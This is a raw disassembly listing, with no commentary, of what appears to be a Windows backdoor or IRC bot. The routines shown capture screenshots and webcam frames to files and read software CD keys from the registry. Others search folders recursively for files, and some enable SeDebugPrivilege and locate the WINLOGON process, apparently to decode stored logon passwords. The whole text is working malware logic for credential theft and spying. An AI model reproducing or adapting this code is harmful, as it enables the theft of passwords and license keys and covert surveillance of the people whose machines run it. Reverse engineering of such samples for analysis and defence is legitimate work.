ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_43EB10 ; CreateDCA mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_408624 push 8 push edi call dword_43EB2C ; GetDeviceCaps push 0Ah push edi mov [ebp+var_8], eax call dword_43EB2C ; GetDeviceCaps push 0Ch push edi mov [ebp+var_C], eax call dword_43EB2C ; GetDeviceCaps cmp eax, 8 mov [ebp+var_10], eax ja short loc_408452 push 18h push edi call dword_43EB2C ; GetDeviceCaps mov ebx, 100h jmp short loc_408454 ; --------------------------------------------------------------------------- loc_408452: ; CODE XREF: sub_4083F0+50j xor ebx, ebx loc_408454: ; CODE XREF: sub_4083F0+60j push edi call dword_43EB70 ; CreateCompatibleDC cmp eax, esi mov [ebp+var_4], eax jz loc_408609 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_43EB68 ; CreateDIBSection cmp eax, esi mov [ebp+var_1C], eax jz loc_408614 push eax push [ebp+var_4] call dword_43EA00 ; SelectObject cmp eax, esi jz loc_408614 cmp eax, 0FFFFFFFFh jz loc_408614 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_43EB6C ; BitBlt test eax, eax jz loc_408614 cmp ebx, esi jz short loc_408511 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_43EA54 ; GetDIBColorTable mov ebx, eax loc_408511: ; CODE XREF: sub_4083F0+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call dword_423084 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4085F4 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call dword_42307C ; WriteFile lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call dword_42307C ; WriteFile cmp ebx, esi jz short loc_4085D6 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call dword_42307C ; WriteFile loc_4085D6: ; CODE XREF: sub_4083F0+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call dword_42307C ; WriteFile push [ebp+arg_0] call dword_423078 ; CloseHandle xor esi, esi inc esi loc_4085F4: ; CODE XREF: sub_4083F0+1A2j push [ebp+var_1C] call dword_43EA88 ; DeleteObject push [ebp+var_4] call dword_43E9EC ; DeleteDC mov edi, [ebp+var_20] loc_408609: ; CODE XREF: sub_4083F0+70j push edi call dword_43E9EC ; DeleteDC mov eax, esi jmp short loc_408626 ; --------------------------------------------------------------------------- loc_408614: ; CODE XREF: sub_4083F0+C7j ; sub_4083F0+D9j ... push edi call dword_43E9EC ; DeleteDC push [ebp+var_4] call dword_43E9EC ; DeleteDC loc_408624: ; CODE XREF: sub_4083F0+23j xor eax, eax loc_408626: ; CODE XREF: sub_4083F0+222j pop edi pop esi pop ebx leave retn sub_4083F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40862B proc near ; CODE XREF: sub_40EC43+46A1p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi xor esi, esi push edi inc esi xor ebx, ebx push esi push dword_43D5C4 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43EA7C mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_408669 mov eax, esi jmp loc_40881F ; --------------------------------------------------------------------------- loc_408669: ; CODE XREF: sub_40862B+35j push edi call dword_43EAC4 ; IsWindow test eax, eax jz short loc_408686 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43EB80 ; SendMessageA jmp short loc_408688 ; --------------------------------------------------------------------------- loc_408686: ; CODE XREF: sub_40862B+47j xor eax, eax loc_408688: ; CODE XREF: sub_40862B+59j cmp eax, ebx jnz short loc_408693 loc_40868C: ; CODE XREF: sub_40862B+88j ; sub_40862B+BCj mov ebx, esi jmp loc_408814 ; --------------------------------------------------------------------------- loc_408693: ; CODE XREF: sub_40862B+5Fj push edi call dword_43EAC4 ; IsWindow test eax, eax jz short loc_4086B0 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_43EB80 ; SendMessageA loc_4086B0: ; CODE XREF: sub_40862B+71j cmp [ebp+var_20], ebx jz short loc_40868C push edi call dword_43EAC4 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_4086D6 push ebx push ebx push edi push [ebp+var_4] call dword_43EB80 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_4086D9 ; --------------------------------------------------------------------------- loc_4086D6: ; CODE XREF: sub_40862B+98j mov [ebp+arg_4], ebx loc_4086D9: ; CODE XREF: sub_40862B+A9j push [ebp+arg_4] call sub_417889 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_40868C push [ebp+arg_4] call sub_417889 mov esi, eax pop ecx cmp esi, ebx jnz short loc_408700 xor ebx, ebx inc ebx jmp loc_408814 ; --------------------------------------------------------------------------- loc_408700: ; CODE XREF: sub_40862B+CBj push [ebp+var_4] call dword_43EAC4 ; IsWindow test eax, eax jz short loc_40871D push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43EB80 ; SendMessageA loc_40871D: ; CODE XREF: sub_40862B+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_417090 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_408738 mov ecx, 280h loc_408738: ; CODE XREF: sub_40862B+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_408744 mov eax, 1E0h loc_408744: ; CODE XREF: sub_40862B+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43EAC4 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_40878E push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_43EB80 ; SendMessageA loc_40878E: ; CODE XREF: sub_40862B+153j push [ebp+var_4] call dword_43EAC4 ; IsWindow test eax, eax jz short loc_4087AB push ebx push ebx push 43Dh push [ebp+var_4] call dword_43EB80 ; SendMessageA loc_4087AB: ; CODE XREF: sub_40862B+16Ej push [ebp+var_4] call dword_43EAC4 ; IsWindow test eax, eax jz short loc_4087CA push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_43EB80 ; SendMessageA loc_4087CA: ; CODE XREF: sub_40862B+18Bj push [ebp+var_4] call dword_43EAC4 ; IsWindow test eax, eax jz short loc_4087E7 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43EB80 ; SendMessageA loc_4087E7: ; CODE XREF: sub_40862B+1AAj push [ebp+var_8] call sub_41793B push esi call sub_41793B pop ecx pop ecx push [ebp+var_4] call dword_43EAC4 ; IsWindow test eax, eax jz short loc_408814 push ebx push ebx push 40Bh push [ebp+var_4] call dword_43EB80 ; SendMessageA loc_408814: ; CODE XREF: sub_40862B+63j ; sub_40862B+D0j ... push [ebp+var_4] call dword_43EBD4 ; DestroyWindow mov eax, ebx loc_40881F: ; CODE XREF: sub_40862B+39j pop edi pop esi pop ebx leave retn sub_40862B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408824 proc near ; CODE XREF: sub_40EC43+475Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi xor esi, esi push edi inc esi xor ebx, ebx push esi push dword_43D5C4 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43EA7C mov edi, eax cmp edi, ebx jnz short loc_408862 mov eax, esi jmp loc_408A5E ; --------------------------------------------------------------------------- loc_408862: ; CODE XREF: sub_408824+35j push edi call dword_43EAC4 ; IsWindow test eax, eax jz short loc_40887F push ebx push [ebp+arg_4] push 40Ah push edi call dword_43EB80 ; SendMessageA jmp short loc_408881 ; --------------------------------------------------------------------------- loc_40887F: ; CODE XREF: sub_408824+47j xor eax, eax loc_408881: ; CODE XREF: sub_408824+59j cmp eax, ebx jnz short loc_40888C loc_408885: ; CODE XREF: sub_408824+8Bj ; sub_408824+BCj mov ebx, esi jmp loc_408A55 ; --------------------------------------------------------------------------- loc_40888C: ; CODE XREF: sub_408824+5Fj push edi call dword_43EAC4 ; IsWindow test eax, eax jz short loc_4088AC lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_43EB80 ; SendMessageA loc_4088AC: ; CODE XREF: sub_408824+71j cmp [ebp+var_7C], ebx jz short loc_408885 push edi call dword_43EAC4 ; IsWindow test eax, eax jz short loc_4088CF push ebx push ebx push 42Ch push edi call dword_43EB80 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_4088D2 ; --------------------------------------------------------------------------- loc_4088CF: ; CODE XREF: sub_408824+96j mov [ebp+arg_4], ebx loc_4088D2: ; CODE XREF: sub_408824+A9j push [ebp+arg_4] call sub_417889 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_408885 push [ebp+arg_4] call sub_417889 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4088F9 xor ebx, ebx inc ebx jmp loc_408A55 ; --------------------------------------------------------------------------- loc_4088F9: ; CODE XREF: sub_408824+CBj push edi call dword_43EAC4 ; IsWindow test eax, eax jz short loc_408916 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_43EB80 ; SendMessageA loc_408916: ; CODE XREF: sub_408824+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_417090 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_408931 mov ecx, 0A0h loc_408931: ; CODE XREF: sub_408824+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_40893B push 78h pop eax loc_40893B: ; CODE XREF: sub_408824+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43EAC4 ; IsWindow test eax, eax jz short loc_408980 push esi push [ebp+arg_4] push 42Dh push edi call dword_43EB80 ; SendMessageA loc_408980: ; CODE XREF: sub_408824+14Aj push edi call dword_43EAC4 ; IsWindow test eax, eax jz short loc_40899D lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_43EB80 ; SendMessageA loc_40899D: ; CODE XREF: sub_408824+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_43EAC4 ; IsWindow test eax, eax jz short loc_4089DB lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_43EB80 ; SendMessageA loc_4089DB: ; CODE XREF: sub_408824+1A3j push edi call dword_43EAC4 ; IsWindow test eax, eax jz short loc_4089F6 push [ebp+arg_0] push ebx push 414h push edi call dword_43EB80 ; SendMessageA loc_4089F6: ; CODE XREF: sub_408824+1C0j push edi call dword_43EAC4 ; IsWindow test eax, eax jz short loc_408A0F push ebx push ebx push 43Eh push edi call dword_43EB80 ; SendMessageA loc_408A0F: ; CODE XREF: sub_408824+1DBj push edi call dword_43EAC4 ; IsWindow test eax, eax jz short loc_408A2C push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_43EB80 ; SendMessageA loc_408A2C: ; CODE XREF: sub_408824+1F4j push [ebp+var_4] call sub_41793B push esi call sub_41793B pop ecx pop ecx push edi call dword_43EAC4 ; IsWindow test eax, eax jz short loc_408A55 push ebx push ebx push 40Bh push edi call dword_43EB80 ; SendMessageA loc_408A55: ; CODE XREF: sub_408824+63j ; sub_408824+D0j ... push edi call dword_43EBD4 ; DestroyWindow mov eax, ebx loc_408A5E: ; CODE XREF: sub_408824+39j pop edi pop esi pop ebx leave retn sub_408824 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408A63 proc near ; CODE XREF: sub_40EC43+5818p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_42AA0C, ebx mov [ebp+var_C], 80h jz loc_408C0F push esi push edi mov eax, offset off_42AA0C mov esi, offset dword_42AA18 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_408A93: ; CODE XREF: sub_408A63+1A4j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_43EB94 ; RegOpenKeyExA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_43EA30 ; RegQueryValueExA test eax, eax jnz loc_408BF6 mov eax, [esi] cmp eax, ebx jz loc_408BBA push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_416FB6 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_4176A8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_408BF6 push eax jmp short loc_408B23 ; --------------------------------------------------------------------------- loc_408B0E: ; CODE XREF: sub_408A63+D0j push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_417580 pop ecx test eax, eax pop ecx jz short loc_408B37 push [ebp+var_8] loc_408B23: ; CODE XREF: sub_408A63+A9j lea eax, [ebp+var_70] push 64h push eax call sub_418D0C add esp, 0Ch test eax, eax jnz short loc_408B0E jmp short loc_408BAF ; --------------------------------------------------------------------------- loc_408B37: ; CODE XREF: sub_408A63+BBj push 3Dh push dword ptr [esi+4] call sub_418C50 pop ecx test eax, eax pop ecx lea eax, [ebp+var_70] jz short loc_408B76 push offset asc_42BC20 ; "=" push eax call sub_41886E push offset asc_42BC20 ; "=" push ebx call sub_41886E push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_416FB6 add esp, 20h jmp short loc_408B8A ; --------------------------------------------------------------------------- loc_408B76: ; CODE XREF: sub_408A63+E5j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_416FB6 add esp, 10h loc_408B8A: ; CODE XREF: sub_408A63+111j push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 lea eax, [ebp+var_2F0] push eax call sub_40BD8D add esp, 18h loc_408BAF: ; CODE XREF: sub_408A63+D2j push [ebp+var_8] call sub_417600 pop ecx jmp short loc_408BF6 ; --------------------------------------------------------------------------- loc_408BBA: ; CODE XREF: sub_408A63+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_416FB6 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 lea eax, [ebp+var_2F0] push eax call sub_40BD8D add esp, 28h loc_408BF6: ; CODE XREF: sub_408A63+60j ; sub_408A63+A2j ... push [ebp+var_4] call dword_43EB00 ; RegCloseKey add esi, 18h lea eax, [esi-0Ch] cmp [eax], ebx jnz loc_408A93 pop edi pop esi loc_408C0F: ; CODE XREF: sub_408A63+19j pop ebx leave retn sub_408A63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C12 proc near ; DATA XREF: sub_40EC43+3D16o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_4177B0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_408C67 lea eax, [ebp+var_114] push eax call sub_4177B0 pop ecx mov [ebp+eax+var_115], bl loc_408C67: ; CODE XREF: sub_408C12+3Fj lea eax, [ebp+var_218] push eax push offset dword_42BC80 lea eax, [ebp+var_49C] push 200h push eax call sub_41752A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_408CAC push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D476 add esp, 14h loc_408CAC: ; CODE XREF: sub_408C12+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_408D2A push eax lea eax, [ebp+var_49C] push offset dword_42BC44 push eax call sub_416FB6 add esp, 24h cmp [ebp+var_8], ebx jnz short loc_408D0A push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D476 add esp, 14h loc_408D0A: ; CODE XREF: sub_408C12+D6j lea eax, [ebp+var_49C] push eax call sub_40BD8D push [ebp+var_10] call sub_416D90 pop ecx pop ecx push ebx call dword_423054 ; ExitThread pop edi pop esi pop ebx sub_408C12 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408D2A proc near ; CODE XREF: sub_408C12+B9p ; sub_408D2A+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_5 ; "%s\\*" push esi push eax call sub_41752A mov edi, dword_4230BC add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_408DE7 loc_408D76: ; CODE XREF: sub_408D2A+BBj test [ebp+var_144], 10h jz short loc_408DD3 cmp [ebp+var_118], 2Eh jnz short loc_408D9A cmp [ebp+var_117], 0 jz short loc_408DD3 cmp [ebp+var_117], 2Eh jz short loc_408DD3 loc_408D9A: ; CODE XREF: sub_408D2A+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41752A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_408D2A add esp, 2Ch mov [ebp+arg_14], eax loc_408DD3: ; CODE XREF: sub_408D2A+53j ; sub_408D2A+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call dword_4230B8 ; FindNextFileA test eax, eax jnz short loc_408D76 loc_408DE7: ; CODE XREF: sub_408D2A+4Aj push [ebp+var_4] call dword_4230AC ; FindClose push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41752A add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_408E6D loc_408E1E: ; CODE XREF: sub_408D2A+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_41752A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 28h lea eax, [ebp+var_144] push eax push esi call dword_4230B8 ; FindNextFileA test eax, eax jnz short loc_408E1E loc_408E6D: ; CODE XREF: sub_408D2A+F2j push esi call dword_4230AC ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_408D2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E7C proc near ; DATA XREF: sub_40EC43+51E6o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] rep movsd xor esi, esi inc esi mov [eax+90h], esi call sub_40B5A0 cmp eax, esi mov [ebp+var_4], eax jz short loc_408EBB cmp eax, 2 jz short loc_408EBB push offset dword_42BF38 jmp loc_408FFA ; --------------------------------------------------------------------------- loc_408EBB: ; CODE XREF: sub_408E7C+2Ej ; sub_408E7C+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_414EAB pop ecx test eax, eax pop ecx jz loc_408FF5 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call dword_4230E0 ; LoadLibraryA mov esi, dword_4230DC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi ; GetProcAddress push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_43E7D4, eax call esi ; GetProcAddress push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_43E7C8, eax call esi ; GetProcAddress push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_43E9D8, eax call esi ; GetProcAddress push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_43E7D0, eax call esi ; GetProcAddress mov dword_43E7CC, eax call sub_40904E test eax, eax mov [ebp+arg_0], eax jz loc_408FC8 mov esi, dword_4230D8 mov edi, 400h mov ebx, offset dword_43D7C8 push edi push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset dword_43DFC8 push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+var_4], 1 push offset dword_43E9DC push [ebp+arg_0] jnz short loc_408F74 call sub_4091D7 jmp short loc_408F79 ; --------------------------------------------------------------------------- loc_408F74: ; CODE XREF: sub_408E7C+EFj call sub_40937B loc_408F79: ; CODE XREF: sub_408E7C+F6j pop ecx test eax, eax pop ecx jz short loc_408FC1 cmp dword_43E9DC, 0 jnz short loc_408FA8 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset dword_42BDD8 push 200h push eax call sub_41752A add esp, 18h jmp short loc_408FDB ; --------------------------------------------------------------------------- loc_408FA8: ; CODE XREF: sub_408E7C+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_408FB8 call sub_4094A8 jmp short loc_408FBD ; --------------------------------------------------------------------------- loc_408FB8: ; CODE XREF: sub_408E7C+133j call sub_40953F loc_408FBD: ; CODE XREF: sub_408E7C+13Aj pop ecx push eax jmp short loc_408FCD ; --------------------------------------------------------------------------- loc_408FC1: ; CODE XREF: sub_408E7C+101j push offset dword_42BD80 jmp short loc_408FCD ; --------------------------------------------------------------------------- loc_408FC8: ; CODE XREF: sub_408E7C+B6j push offset dword_42BD30 loc_408FCD: ; CODE XREF: sub_408E7C+143j ; sub_408E7C+14Aj lea eax, [ebp+var_29C] push eax call sub_416FB6 pop ecx pop ecx loc_408FDB: ; CODE XREF: sub_408E7C+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_414EAB pop ecx pop ecx push [ebp+var_8] call dword_4230D4 ; FreeLibrary pop ebx jmp short loc_409008 ; --------------------------------------------------------------------------- loc_408FF5: ; CODE XREF: sub_408E7C+4Ej push offset dword_42BCE0 loc_408FFA: ; CODE XREF: sub_408E7C+3Aj lea eax, [ebp+var_29C] push eax call sub_416FB6 pop ecx pop ecx loc_409008: ; CODE XREF: sub_408E7C+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_40902F push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40D476 add esp, 14h loc_40902F: ; CODE XREF: sub_408E7C+191j lea eax, [ebp+var_29C] push eax call sub_40BD8D push [ebp+var_18] call sub_416D90 pop ecx pop ecx push esi call dword_423054 ; ExitThread pop edi pop esi sub_408E7C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40904E proc near ; CODE XREF: sub_408E7C+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_4230EC mov ebx, 100h push edi push ebx push 8 call esi ; GetProcessHeap mov edi, dword_4230E8 push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_43E7D4 push ebp push 0 call esi ; GetProcessHeap push eax call dword_4230E4 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_43E7D4 test eax, eax jnz short loc_40913B mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_40913B xor ecx, ecx mov ebx, ebp inc ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_40913B loc_4090D7: ; CODE XREF: sub_40904E+EBj cmp word ptr [ebx+8], 5 jnz short loc_40912E push 0 push 0 call dword_43E7C8 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_43E9D8 test eax, eax jnz short loc_40911F mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_418D63 pop ecx push eax call sub_417580 pop ecx test eax, eax pop ecx jnz short loc_409153 loc_40911F: ; CODE XREF: sub_40904E+AAj test edi, edi jz short loc_40912A push edi call dword_43E7D0 loc_40912A: ; CODE XREF: sub_40904E+D3j mov eax, [esp+28h+var_10] loc_40912E: ; CODE XREF: sub_40904E+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_4090D7 loc_40913B: ; CODE XREF: sub_40904E+6Dj ; sub_40904E+7Aj ... xor edi, edi loc_40913D: ; CODE XREF: sub_40904E+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call dword_4230E4 ; RtlFreeHeap mov eax, edi loc_40914B: ; CODE XREF: sub_40904E+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_409153: ; CODE XREF: sub_40904E+CFj and [esp+28h+var_10], 0 